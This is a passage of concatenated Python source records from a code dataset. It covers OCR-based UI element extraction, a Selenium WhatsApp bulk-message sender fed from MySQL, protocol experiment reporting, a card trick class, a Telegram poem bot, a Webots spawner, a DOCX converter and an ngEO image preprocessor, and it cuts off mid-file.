輪廓hier資訊],[輪廓座標],[輪廓文字,confidence]]\n #因為子輪廓有複數個的話hier裡只會有第一個的編號,所以要用子輪廓中hier的父輪廓編號來判斷\n #所以不能用c[0][1][2]==c_2rd[0][0], 要用c[0][0]==c_2nd[0][1][3]\n #如果ocr confidence >= 80就加入xml dict?\n \n if c[0][1][3]==-1 or (c[0][1][3] != d[0][0] for d in info):\n print(c[0][0],c[0][1],c[1])\n temp.append(c[1])\n cnt+=1\n if c[2][1]>=70:\n\n print('text: ',c[2])\n inner_1st = addDict(\"XCUIElementTypeButton\",\"button\",c[2][0],c[1])\n else: \n inner_1st = addDict(\"XCUIElementTypeButton\",\"button\",\"\",c[1])\n inner_1st.pop(\"_EA@text\", None)\n inner_1st[\"_TaaD::imageToBeClipped\"] = True\n \n for i_2nd, c_2nd in enumerate(second):\n \n if c[0][0]==c_2nd[0][1][3]:\n print(c_2nd[0][0],c_2nd[0][1],c_2nd[1],'2nd')\n temp.append(c_2nd[1])\n cnt+=1\n if c[2][1]>=70:\n\n print('text: ',c_2nd[2])\n inner_2nd = addDict(\"XCUIElementTypeButton\",\"button\",c_2nd[2][0],c_2nd[1])\n else: \n inner_2nd = addDict(\"XCUIElementTypeButton\",\"button\",\"\",c[1])\n inner_2nd.pop(\"_EA@text\", None)\n inner_2nd[\"_TaaD::imageToBeClipped\"] = True\n \n for i_3rd, c_3rd in enumerate(second):\n \n if c_2nd[0][0]==c_3rd[0][1][3]:\n print(c_3rd[0][0],c_3rd[0][1],c_3rd[1],'3rd')\n temp.append(c_3rd[1])\n cnt+=1\n if c[2][1]>=70:\n\n print('text: ',c_3rd[2])\n inner_3rd= addDict(\"XCUIElementTypeButton\",\"button\",c_3rd[2][0],c_3rd[1])\n else: \n inner_3rd = addDict(\"XCUIElementTypeButton\",\"button\",\"\",c[1])\n inner_3rd.pop(\"_EA@text\", None)\n inner_3rd[\"_TaaD::imageToBeClipped\"] = True\n \n for i_4th, c_4th in enumerate(second):\n \n if c_3rd[0][0]==c_4th[0][1][3]:\n print(c_4th[0][0],c_4th[0][1],c_4th[1],'4th')\n temp.append(c_4th[1])\n cnt+=1\n if c[2][1]>=70:\n\n print('text: ',c_4th[2])\n inner_4th = addDict(\"XCUIElementTypeButton\",\"button\",c_4th[2][0],c_4th[1])\n else: \n inner_4th = addDict(\"XCUIElementTypeButton\",\"button\",\"\",c[1])\n inner_4th.pop(\"_EA@text\", None)\n inner_4th[\"_TaaD::imageToBeClipped\"] = True\n \n inner_3rd[\"child\"].append(inner_4th)\n \n inner_2nd[\"child\"].append(inner_3rd)\n \n inner_1st[\"child\"].append(inner_2nd)\n secondLayer['child'].append(inner_1st)\n\n outerLayer['child'].append(secondLayer)\n \n print('cnt: ', cnt)\n \n with open(filename, 'w') as fp:\n json.dump(outerLayer, fp, indent=4)\n \n return outerLayer, temp\n\n# \"_EA@isEnabled\": true, \n# \"_EA@class\": \"XCUIElementTypeOther\", \n# \"_EA@isHidden\": true,\n# \"_EA@isClickable\": false, \n# \"tag\": \"div\", \n# \"xPercentage\": 37, \n# \"yPercentage\": 26, \n# \"widthPercentage\": 13, \n# \"heightPercentage\": 19, \n# \"child\": []\n \n# \"_EA@isEnabled\": true,\n# \"_EA@class\": [\"XCUIElementTypeOther\", \"XCUIElementTypeImage\", \"XCUIElementTypeCell\"], \n# \"_EA@isHidden\": false, \n# \"_EA@isClickable\": true, \n# \"tag\": [\"div\", \"img\", \"button\"], \n# \"xPercentage\": 37, \n# \"yPercentage\": 26, \n# \"widthPercentage\": 13, \n# \"heightPercentage\": 19, \n# \"_EA@type\": \"button\", \n# \"child\":[]\n \n# \"_EA@isEnabled\": true, \n# \"_EA@class\": [\"XCUIElementTypeOther\", \"XCUIElementTypeScrollView\", \"XCUIElementTypeWindow\", \"XCUIElementTypeApplication\"], \n# \"_EA@isHidden\": false, \n# \"_EA@isClickable\": false, \n# \"tag\": [\"div\", \"ul\"], \n# \"xPercentage\": 0, \n# \"yPercentage\": 0, \n# \"widthPercentage\": 100, \n# \"heightPercentage\": 100, \n# \"_EA@isScrollable\": true, \n# \"_EA@text\": \"Facebook\", \n# \"_EA@name\": \"Facebook\", \n# \"_FM@topic\": \"search_page\", \n# \"child\":[]\n \n#座標用絕對座標\n#除了tag, 座標, child,前面都要加_EA@\n#enabled->isEnabled\n#\"_EA@isClickable\"\n#type->class\n#visible-> isHidden\n#label -> text\n#name -> name\n#value -> value\n#x->positionX->x\n#y->positionY->y\n\n#class, tag, child 是list\n#label和value, name幾乎都是一樣的內容\n\n# ##建立截圖的xml檔\n\n\n# def addSubElement(elementType, label, parent, coordinate):\n# x,y,w,h = coordinate\n# a = ET.SubElement(parent, elementType, enabled=\"true\", height=str(h), \n# label=label, type=elementType, visible=\"true\", width=str(w), x=str(x), y=str(y))\n# return a\n\n# def generateXML(filename, img, info):\n \n# h,w,_ = img.shape\n# appName = \"app\"\n \n# root = ET.Element('AppiumAUT')\n# app = ET.Element('XCUIElementTypeApplication', enabled=\"true\", height=str(h), \n# label=appName, name=appName, type=\"XCUIElementTypeApplication\", visible=\"true\", width=str(w), x=\"0\", y=\"0\")\n# root.append(app)\n# window = ET.Element('XCUIElementTypeWindow', enabled=\"true\", height=str(h), \n# type=\"XCUIElementTypeWindow\", visible=\"true\", width=str(w), x=\"0\", y=\"0\")\n# app.append(window)\n# other = ET.Element('XCUIElementTypeOther', enabled=\"true\", height=str(h), \n# type=\"XCUIElementTypeOther\", visible=\"true\", width=str(w), x=\"0\", y=\"0\")\n# window.append(other)\n \n \n# cnt=0\n# for i, c in enumerate(info):\n# #同層下一個輪廓的序號、同層上一個輪廓的序號、子輪廓的序號、父輪廓的序號。\n# #[[輪廓編號, 輪廓hier資訊],[輪廓座標],輪廓文字]\n# #因為子輪廓有複數個的話hier裡只會有第一個的編號,所以要用子輪廓中hier的父輪廓編號來判斷\n# #所以不能用c[0][1][2]==c_2rd[0][0], 要用c[0][0]==c_2nd[0][1][3]\n \n# if c[0][1][3]==-1:\n# print(c[0][0],c[0][1])\n# cnt+=1\n# outer = addSubElement(\"XCUIElementTypeButton\",\"outerLayer\",other,c[1])\n \n# for i_2nd, c_2nd in enumerate(info):\n \n# if c[0][0]==c_2nd[0][1][3]:\n# print(c_2nd[0][0],c_2nd[0][1],'2nd')\n# cnt+=1\n# secondLayer = addSubElement(\"XCUIElementTypeButton\",\"2ndLayer\",outer,c_2nd[1])\n \n# for i_3rd, c_3rd in enumerate(info):\n \n# if c_2nd[0][0]==c_3rd[0][1][3]:\n# print(c_3rd[0][0],c_3rd[0][1],'3rd')\n# cnt+=1\n# thirdLayer = addSubElement(\"XCUIElementTypeButton\",\"3rdLayer\",secondLayer,c_3rd[1])\n \n# for i_4th, c_4th in enumerate(info):\n \n# if c_3rd[0][0]==c_4th[0][1][3]:\n# cnt+=1\n# fourthLayer = addSubElement(\"XCUIElementTypeButton\",\"4thLayer\",thirdLayer,c_4th[1])\n \n \n# tree = ET.ElementTree(root)\n \n \n# tree.write(filename, encoding='utf-8', xml_declaration=True, pretty_print=True)\n# print(cnt)\n ","sub_path":"generateDict.py","file_name":"generateDict.py","file_ext":"py","file_size_in_byte":11351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"420574646","text":"from selenium import webdriver \nfrom time import sleep\nimport mysql.connector\n\n\n\n######################################################################\nmydb = mysql.connector.connect( #\nhost=\"localhost\", #\nuser=\"root\", #\npassword=\"\", #\ndatabase=\"db1\" #\n) # # #\ntable_name = 'new' #\n \t\t\t\t # # #\nsleep_time = 4 # time between msg #\n #\n######################################################################\n\n\nclass Sender:\n\n def __init__(self):\n global id_number\n id_number = int(input('Enter the id you want to start from : '))\n if id_number == 0 :\n id_number += 1\n global finsh\n finsh = int(input('How many number u want to send msg : '))\n finsh += id_number\n\n def scan_qr(self):\n global driver\n driver = webdriver.Firefox(executable_path='geckodriver.exe') \n driver.get(\"https://web.whatsapp.com/\") \n sleep(5)\n\n def open_chat(self,number):\n api_link = 'https://web.whatsapp.com/send?phone={0}'.format(number)\n driver.get(api_link)\n sleep(0.2)\n\n \n def send_message(self,message):\n d = driver.find_element_by_xpath('//*[@id=\"main\"]/footer/div[1]/div[2]/div/div[2]')\n d.send_keys(message)\n sleep(0.2)\n d = driver.find_element_by_xpath('/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div[3]/button/span')\n d.click()\n \n \n def read_database(self,id_number):\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT * FROM {0}\".format(table_name))\n global myresult\n myresult = mycursor.fetchall()\n for i in myresult:\n if id_number in i:\n num = int(myresult.index(i))\n myresult = myresult[num:finsh]\n return myresult\n\n \n def update_to_sucsess(self,number):\n mycursor = mydb.cursor()\n sql = \"UPDATE {0} SET status_wp = 'sucsess' WHERE id = {1};\".format(table_name,number)\n mycursor.execute(sql)\n mydb.commit()\n\n def update_to_field(self,number):\n mycursor = mydb.cursor()\n sql = \"UPDATE {0} SET status_wp = 'field' WHERE id = {1};\".format(table_name,number)\n mycursor.execute(sql)\n mydb.commit()\n\nif __name__ == \"__main__\":\n test = Sender()\n myresult = test.read_database(id_number)\n test.scan_qr()\n for i in myresult:\n try:\n test.open_chat(i[2])\n sleep(2)\n test.send_message(i[3])\n test.update_to_sucsess(i[0])\n sleep(sleep_time)\n except:\n test.update_to_field(i[0])\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"380894242","text":"import hashlib\n\nfrom Util.Util import *\n\n\nclass ExpResult():\n\n def __init__(self, setting, controller):\n self.experiment_type = setting.experiment_type\n self.controller = controller.name\n self.Environment = setting.env_type.name\n self.PKI = setting.pki_type.name\n self.Protocol = setting.protocol.name\n if setting.f > 0:\n if setting.get_centralized():\n self.adversary = setting.centralized_adversary.name\n else:\n self.adversary = setting.adversary.name\n self.f = setting.f\n self.tf = setting.tf\n self.n = setting.n\n self.seed = setting.seed\n self.input = setting.input\n self.centralized = setting.centralized\n self.has_sender = setting.has_sender\n self._lambda = setting._lambda\n self.seed = setting.seed\n self.mine_results = None\n self.round = None\n if controller.round:\n round_history = {}\n round_count = {}\n for r in range(0, controller.round):\n round_history[str(r)] = []\n round_count[str(r)] = []\n d = {}\n for packet in sorted(controller.message_history[r], key=lambda x: x[1].get_sender()):\n round_history[str(r)].append(\n (packet[1].get_sender(), packet[0], str(packet[1])))\n key = (packet[0], str(packet[1]))\n if key not in d:\n d[key] = 0\n d[key] = d[key] + 1\n round_history[str(r)] = sorted(round_history[str(r)])\n\n for k in sorted(d):\n round_count[str(r)].append((k[0], k[1], d[k]))\n self.round_history = round_history\n self.round_count = round_count\n self.round = controller.round\n self.output = {}\n for k, v in controller.output.items():\n self.output[str(k)] = (v)\n self.measures = {}\n for m in setting.measure:\n self.measures[m.measure(controller)[0]] = m.measure(\n controller)[1]\n\n def object_key(self):\n arg = self.experiment_type + self.PKI + self.Protocol + self.Environment + \\\n str(self.input) + str(self.n) + str(self.f)+str(self.tf) + \\\n str(self.centralized) + str(self.has_sender)\n if self.f > 0:\n arg = arg+self.adversary\n if self._lambda != -1:\n arg = arg+str(self._lambda)\n arg = arg+str(self.seed)\n arg.encode('utf-8')\n return hashlib.sha256((arg.encode('utf-8'))).hexdigest()\n\n def print(self):\n print(\"Experiment Setting: \"+self.experiment_type)\n print(\"Controller : \" + self.controller)\n print(\"Environment : \" + self.Environment)\n print(\"PKI : \" + self.PKI)\n print(\"Protocol : \" + self.Protocol)\n if self.tf > 0:\n print(\"Adversary : \" + self.adversary)\n print(\"\")\n print(\"Parameters:\")\n print(\"n : %d\" % self.n)\n if (type(self.input) is list):\n for i in range(self.n):\n print(\"input : %d\" % self.input[i])\n else:\n print(\"input : %d\" % self.input)\n if self.tf > 0:\n print(\"num of corruptions : %d\" % self.tf)\n print(\"\")\n print(\"Seed is:\"+str(self.seed))\n print(\"Experiment Result:\")\n print(\"\")\n print(\"Message History :\")\n if self.round:\n for k, v in sorted(self.round_history.items(), key=lambda kv: int(kv[0])):\n if k == '0':\n continue\n print(\"Round \"+str(int(k)))\n for bucket in self.round_history[k]:\n print(\"from \"+str(bucket[0])+\" to \" +\n str(bucket[1])+\" content \"+str(bucket[2]))\n\n print(\"Summary\")\n for (receiver, content, times) in self.round_count[k]:\n print(\"Receiver \"+str(receiver)+\" Receive \" +\n str(content)+\" for \"+str(times)+\" time(s)\")\n print(\" \")\n if self.mine_results:\n print(\"Mine Results\")\n for k, v in sorted(self.mine_results.items()):\n print(k, end=' ')\n print(self.mine_results[k])\n print(\" \")\n\n print(\"Node Output :\")\n for x, y in sorted(self.output.items()):\n print(\"Node %s : %s\" % (x, str(y)))\n print(\" \")\n flag = 0\n print(\"Measurements:\")\n for k, v in self.measures.items():\n if(v != False):\n flag += 1\n print(k, end=': ')\n print(v)\n if(flag == len(self.measures)):\n print(\"\\033[1;32mCongrats! All properties are satisified! \\033[0m\")\n else:\n print(\"\\033[1;31mOops! Some properties are violated! \\033[0m\")\n","sub_path":"src/Test/ExpResult.py","file_name":"ExpResult.py","file_ext":"py","file_size_in_byte":4907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"33657945","text":"from deck import Deck\nimport numpy as np\n\n\nclass Trick(object):\n \"\"\"docstring for Trick\"\"\"\n def __init__(self, trick_id, game):\n super(Trick, self).__init__()\n self.game = game\n self.reset()\n\n def reset(self):\n self.players = []\n self.cards = []\n self.owner = []\n\n def run(self, order):\n for player_id in order:\n self.add_turn(player_id, 0)\n\n def add_turn(self, player_id, card_id):\n currPlayer = self.game.players[player_id]\n self.players.append(player_id)\n self.cards.append(currPlayer.play_random_card(self))\n\n def is_last_turn(self):\n return len(players) > 3\n\n def get_trick_winner(self):\n card_objs = [Deck.cards[card_id] for card_id in self.cards]\n card_objs = np.array(card_objs)\n has_trumpf = False\n for c in card_objs:\n has_trumpf = c.is_trumpf\n if has_trumpf:\n break\n if has_trumpf:\n winner = np.argmax(card_objs)\n else:\n first_color = card_objs[0].color\n winner = 0\n for i in range(1, len(self.cards)):\n if card_objs[\n i].color == first_color and card_objs[winner] < card_objs[i]:\n winner = i\n return self.players[winner]\n\n def get_cards(self):\n \"\"\"Returning Card objects\"\"\"\n return [Deck.cards[card_id] for card_id in self.cards]","sub_path":"trick.py","file_name":"trick.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"185954626","text":"#import stuff\n#note, to run this you mst use python3\n\nimport telegram\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nimport requests\nimport json\nimport datetime\nimport time\nimport pandas as pd\nimport logging\nfrom poet_class import Poet\n\n#import logger, this gives you info on terminal about what happens to the bot\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\n#insert here the token delivered to you by BotFather\ntoken = \"464737464hfgrjrgrf65734636djusdh746464JFHDHDEYD\"\n\n#this is the command you may tyoe in to restart PoetBot (pretty useless)\ndef start(bot, update):\n print(update.message.chat.username)\n t = (\"Hello %s, this is PoetBot. What kind of poem would you like to read?\" + \"\\n\" + \"Type /poem followed by a list of key-words. If you struggle, type /help.\") % update.message.chat.first_name\n bot.sendMessage(chat_id=update.message.chat_id, text=t)\n\n#whatever you type into poet bot, he will echo the start message again and again (unless you use a command)\ndef echo(bot, update):\n #t = update.message.text + \" eccome\"\n print(update.message.chat.username)\n t = (\"Hello %s, this is PoetBot. What kind of poem would you like to read?\" + \"\\n\" + \"Type /poem followed by a list of key-words. If you struggle, type /help.\") % update.message.chat.first_name\n bot.send_message(chat_id=update.message.chat_id, text=t)\n\n#this defines the /help command\ndef help(bot, update):\n t = \"Would you like to read a poem about THE UNIVERSE!! \" + \"\\n\" + \"Type: /poem universe\"\n bot.sendMessage(chat_id=update.message.chat_id, text=t)\n\n#we upload the database containing all poems from which to choose\ndf_poems = pd.read_csv(\"poems_collection.csv\", header=None)\n\n#we define a command to print a poem to Telegram\n#the command is used as follow: typing '/poem dinosaur' to the bot will print a poem about dinosaurs \ndef poem(bot,update, args):\n #args = str(' '.join(args))\n #print(type(args))\n print(\"user %s %s just requested a poem\" % (update.message.chat.first_name,update.message.chat.last_name))\n user_input = \" \".join(args).strip()\n #create instance of poet class\n poet_object = Poet(user_input)\n #get target poem\n target_poem = poet_object.get_poem()\n\n t = \"*\" + target_poem[1].replace(\"
\",\"\\n\") + \"*\" + \"\\n\" + \"\\n\" + target_poem[0].replace(\"
\",\"\\n\").strip() + \"\\n\" + \"\\n\" + \"_\" + \"by \" + target_poem[2].replace(\"
\",\"\\n\") + \"_\"\n bot.sendMessage(chat_id=update.message.chat_id, text=t,parse_mode=telegram.ParseMode.MARKDOWN)\n restart = \"Wanna play again? Type /start to start again or just search for the next poem.\"\n bot.sendMessage(chat_id=update.message.chat_id, text=restart,parse_mode=telegram.ParseMode.MARKDOWN)\n\n#defining a function printing errors\ndef error(bot, update, error):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n#activate all commands and functions\ndef main():\n updater = Updater(token=token)\n dp = updater.dispatcher\n\n dp.add_handler(CommandHandler('start', start))\n #this one is for the echo function, slightly different from the others\n dp.add_handler(MessageHandler(Filters.text, echo))\n dp.add_handler(CommandHandler('poem', poem, pass_args=True))\n dp.add_handler(CommandHandler('help', help))\n\n dp.add_error_handler(error)\n\n updater.start_polling()\n\n updater.idle()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"poet_class.py","file_name":"poet_class.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"203842873","text":"import rclpy\nimport os\nimport sys\nfrom webots_ros2_core.webots_node import WebotsNode\nfrom webots_ros2_core.utils import append_webots_python_lib_to_path\nfrom webots_ros2_core.trajectory_follower import TrajectoryFollower\nfrom sensor_msgs.msg import JointState\nfrom ament_index_python.packages import get_package_share_directory\nfrom geometry_msgs.msg import Pose, Point, Quaternion\nfrom gazebo_msgs.srv import GetEntityState, GetModelList\nfrom gazebo_msgs.msg import EntityState\nimport pyquaternion \ntry:\n append_webots_python_lib_to_path()\n from controller import Node\nexcept Exception as e:\n sys.stderr.write('\"WEBOTS_HOME\" is not correctly set.')\n raise e\n\n\nclass SpawnerNode(WebotsNode):\n def __init__(self, args=None):\n super().__init__(\"spawner\", args)\n\n self.package_dir = get_package_share_directory('webots_simple_arm')\n self.children = self.robot.getRoot().getField(\"children\")\n self.entity = self.create_service(\n GetEntityState, 'get_entity_state', self.get_entity_state)\n self.model = self.create_service(\n GetModelList, 'get_model_list', self.get_model_list)\n self.objs = {}\n self.robot.simulationSetMode(self.robot.SIMULATION_MODE_FAST)\n\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,0.065,0.025], offset=[0,0,0])\n \n self.spawn_obj(\"worlds/Sphere.wbo\", position=[0.5,0.0,0.025], offset=[0,0,0]) # target must be second to spawn\n\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,0.0,0.025], offset=[0,0,0])\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,-0.065,0.025], offset=[0,0,0])\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,-0.0335,0.075], offset=[0,0,0])\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,0.0335,0.075], offset=[0,0,0])\n self.spawn_obj(\"worlds/Cube.wbo\", position=[1.5,0.0,0.135], offset=[0,0,0])\n\n # for x in range(-4, 5):\n # for y in range(-4, 5):\n # if x == 0.3 and y == 0:\n # continue\n # self.spawn_obj(\"worlds/Cube.wbo\", [x/10, y/10, 0.55])\n\n def spawn_obj(self, path, position=[0, 0, 0], offset=[0.6, 0, 0], rotation = [0,1,0,0]):\n out = []\n for i, j in zip(position, offset):\n out.append(i+j)\n self.children.importMFNode(0, os.path.join(self.package_dir, path))\n obj = self.children.getMFNode(0)\n obj.getField(\"translation\").setSFVec3f(out)\n obj.getField(\"rotation\").setSFRotation(rotation)\n self.objs[obj.getField(\"name\").getSFString()] = obj\n\n def get_model_list(self, request: GetModelList.Request, response: GetModelList.Response):\n response.model_names = list(self.objs.keys())\n response.success = True\n return response\n\n def get_entity_state(self, request: GetEntityState.Request, response: GetEntityState.Response):\n obj = self.objs.get(request.name)\n if obj is None:\n response.success = False\n return response\n state = EntityState()\n state.name = request.name\n pose = Pose()\n pose.position = self.get_postion(obj)\n pose.orientation = self.get_rotation(obj)\n state.pose = pose\n response.state = state\n response.success = True\n return response\n\n def get_postion(self, obj):\n position = Point()\n obj_pose = obj.getField(\"translation\").getSFVec3f()\n position.x = obj_pose[0]\n position.y = obj_pose[1]\n position.z = obj_pose[2]\n return position\n\n def get_rotation(self, obj):\n rotation = Quaternion()\n obj_rot = obj.getField(\"rotation\").getSFRotation()\n quat = pyquaternion.Quaternion(axis=obj_rot[:3], angle=obj_rot[3])\n rotation.x = float(quat.x)\n rotation.y = float(quat.y)\n rotation.z = float(quat.z)\n rotation.w = float(quat.w)\n return rotation\n\n\ndef main(args=None):\n rclpy.init(args=args)\n os.environ['WEBOTS_ROBOT_NAME'] = \"spawner\"\n\n spawner = SpawnerNode(args=args)\n\n rclpy.spin(spawner)\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"sim_spawner/sim_spawner/webots_throw_spawner.py","file_name":"webots_throw_spawner.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"85965840","text":"# -*- coding: utf-8 -*-\n__author__ = 'Bárdos Dávid'\n\nfrom sys import argv\nfrom converter import Converter\nfrom docx import Document\nfrom docx.shared import Mm, Pt, RGBColor\nfrom docx.enum.text import WD_PARAGRAPH_ALIGNMENT\nfrom docx.enum.style import WD_STYLE_TYPE\n\n\nclass DocxConverter(Converter):\n def __init__(self, output_file_name):\n self._document = Document()\n self._raw_document_content = []\n self._output_file_path = \"target/{}.docx\".format(output_file_name)\n self._raw_metadata = self._read_metadata()\n self._grey = \"BEBEBE\"\n\n def convert(self):\n self._set_page_size_to_a4()\n self._generate_styles()\n sources = self._process_input_files()\n for source in sources:\n self._raw_document_content += source\n self._process_raw_document_content()\n self._update_metadata()\n self._document.save(self._output_file_path)\n\n def _set_page_size_to_a4(self):\n zeroth_section = self._document.sections[0]\n zeroth_section.page_height = Mm(297)\n zeroth_section.page_width = Mm(210)\n\n def _generate_styles(self):\n normal = self._document.styles[\"Normal\"]\n normal.font.name = \"Times New Roman\"\n body = self._document.styles.add_style(\"Body\", WD_STYLE_TYPE.PARAGRAPH)\n body.base_style = self._document.styles[\"Normal\"]\n body.font.size = Pt(12)\n body.paragraph_format.alignment = WD_PARAGRAPH_ALIGNMENT.JUSTIFY\n body.paragraph_format.first_line_indent = Mm(12.5)\n body.paragraph_format.space_after = Pt(0)\n body.paragraph_format.widow_control = True\n msn_message = self._document.styles.add_style(\"MSN Message\", WD_STYLE_TYPE.PARAGRAPH)\n msn_message.font.name = \"Arial\"\n msn_message.font.size = Pt(10)\n msn_message.base_style = self._document.styles[\"Body\"]\n msn_message.paragraph_format.first_line_indent = Mm(0)\n msn_sender = self._document.styles.add_style(\"MSN Sender\", WD_STYLE_TYPE.PARAGRAPH)\n msn_sender.font.name = \"Arial\"\n msn_sender.font.size = Pt(10)\n msn_sender.base_style = self._document.styles[\"Body\"]\n msn_sender.font.color.rgb = RGBColor.from_string(self._grey)\n msn_sender.paragraph_format.first_line_indent = Mm(0)\n msn_sender.paragraph_format.keep_with_next = True\n msn_sender.next_paragraph_style = msn_message\n\n def _process_raw_document_content(self):\n author = self._document.add_paragraph(self._raw_metadata[\"author\"])\n author.paragraph_format.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n title = self._document.add_paragraph(self._raw_metadata[\"title\"], self._document.styles[\"Title\"])\n title.paragraph_format.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n for line in self._raw_document_content:\n if line.startswith(\"# \"):\n line = line.replace(\"# \", \"\")\n self._document.add_heading(line, level=1)\n elif line.startswith(\"András:\") or line.startswith(\"Erika:\"):\n name, line = line.split(\": \")\n name += \" üzenete:\"\n self._document.add_paragraph(name, style=self._document.styles[\"MSN Sender\"])\n current_p = self._document.add_paragraph(\"\", style=self._document.styles[\"MSN Message\"])\n bullet = current_p.add_run(\"\\u2022\\u2000\")\n bullet.font.color.rgb = RGBColor.from_string(self._grey)\n current_p.add_run(line)\n else:\n self._document.add_paragraph(line, style=self._document.styles[\"Body\"])\n year_p = self._document.add_paragraph()\n year_p.paragraph_format.space_before = Pt(11)\n year_p.paragraph_format.alignment = WD_PARAGRAPH_ALIGNMENT.RIGHT\n year = year_p.add_run(self._raw_metadata[\"rights\"][-4:])\n year.font.italic = True\n\n def _update_metadata(self):\n meta = self._document.core_properties\n meta.author = self._raw_metadata[\"author\"]\n meta.language = self._raw_metadata[\"language\"]\n meta.title = self._raw_metadata[\"title\"]\n meta.comments = \"source is available at {}\".format(self._raw_metadata[\"source\"])\n\nif __name__ == \"__main__\":\n d = DocxConverter(argv[1])\n d.convert()","sub_path":"builder/docxconverter.py","file_name":"docxconverter.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"171312509","text":"#-------------------------------------------------------------------------------\n#\n# Project: ngEO Browse Server \n# Authors: Fabian Schindler \n# Daniel Santillan \n#\n#-------------------------------------------------------------------------------\n# Copyright (C) 2013 EOX IT Services GmbH\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n# copies of the Software, and to permit persons to whom the Software is \n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies of this Software or works derived from this Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#-------------------------------------------------------------------------------\n\n\nfrom os.path import splitext\nimport shutil\n\nfrom PIL import Image\nimport numpy as np\nfrom django.contrib.gis.geos import MultiPolygon, Polygon, LineString\nfrom django.contrib.gis.geos import (\n GEOSGeometry, MultiPolygon, Polygon, LinearRing, \n)\nfrom eoxserver.contrib import gdal\nfrom eoxserver.processing.preprocessing import (\n WMSPreProcessor, PreProcessResult\n)\nfrom eoxserver.processing.preprocessing.optimization import *\nfrom eoxserver.processing.preprocessing.util import create_mem_copy\nfrom eoxserver.resources.coverages.crss import crs_tolerance\n\nfrom ngeo_browse_server.control.ingest.preprocessing.merge import (\n GDALDatasetMerger, GDALGeometryMaskMergeSource\n)\n\n\nclass NGEOPreProcessor(WMSPreProcessor):\n\n def process(self, input_filename, output_filename, \n geo_reference=None, generate_metadata=True, \n merge_with=None, original_footprint=None):\n \n # open the dataset and create an In-Memory Dataset as copy\n # to perform optimizations\n ds = create_mem_copy(gdal.Open(input_filename))\n \n gt = ds.GetGeoTransform()\n footprint_wkt = None\n \n if not geo_reference:\n if gt == (0.0, 1.0, 0.0, 0.0, 0.0, 1.0): # TODO: maybe use a better check\n raise ValueError(\"No geospatial reference for unreferenced \"\n \"dataset given.\")\n else:\n logger.debug(\"Applying geo reference '%s'.\"\n % type(geo_reference).__name__)\n ds, footprint_wkt = geo_reference.apply(ds)\n \n # apply optimizations\n for optimization in self.get_optimizations(ds):\n logger.debug(\"Applying optimization '%s'.\"\n % type(optimization).__name__)\n new_ds = optimization(ds)\n ds = None\n ds = new_ds\n \n # generate the footprint from the dataset\n if not footprint_wkt:\n logger.debug(\"Generating footprint.\")\n footprint_wkt = self._generate_footprint_wkt(ds)\n \n \n if self.footprint_alpha:\n logger.debug(\"Applying optimization 'AlphaBandOptimization'.\")\n opt = AlphaBandOptimization()\n opt(ds, footprint_wkt)\n\n output_filename = self.generate_filename(output_filename)\n \n if merge_with is not None:\n if original_footprint is None:\n raise ValueError(\n \"Original footprint with to be merged image required.\"\n )\n\n original_ds = gdal.Open(merge_with)\n merger = GDALDatasetMerger([\n GDALGeometryMaskMergeSource(original_ds, original_footprint),\n GDALGeometryMaskMergeSource(ds, footprint_wkt)\n ])\n\n ds = merger.merge(\n output_filename, self.format_selection.driver_name,\n self.format_selection.creation_options\n )\n # cleanup previous file\n driver = original_ds.GetDriver()\n original_ds = None\n driver.Delete(merge_with) \n\n else:\n logger.debug(\"Writing file to disc using options: %s.\"\n % \", \".join(self.format_selection.creation_options))\n \n logger.debug(\"Metadata tags to be written: %s\"\n % \", \".join(ds.GetMetadata_List(\"\") or []))\n \n # save the file to the disc\n driver = gdal.GetDriverByName(self.format_selection.driver_name)\n ds = driver.CreateCopy(output_filename, ds,\n options=self.format_selection.creation_options)\n \n for optimization in 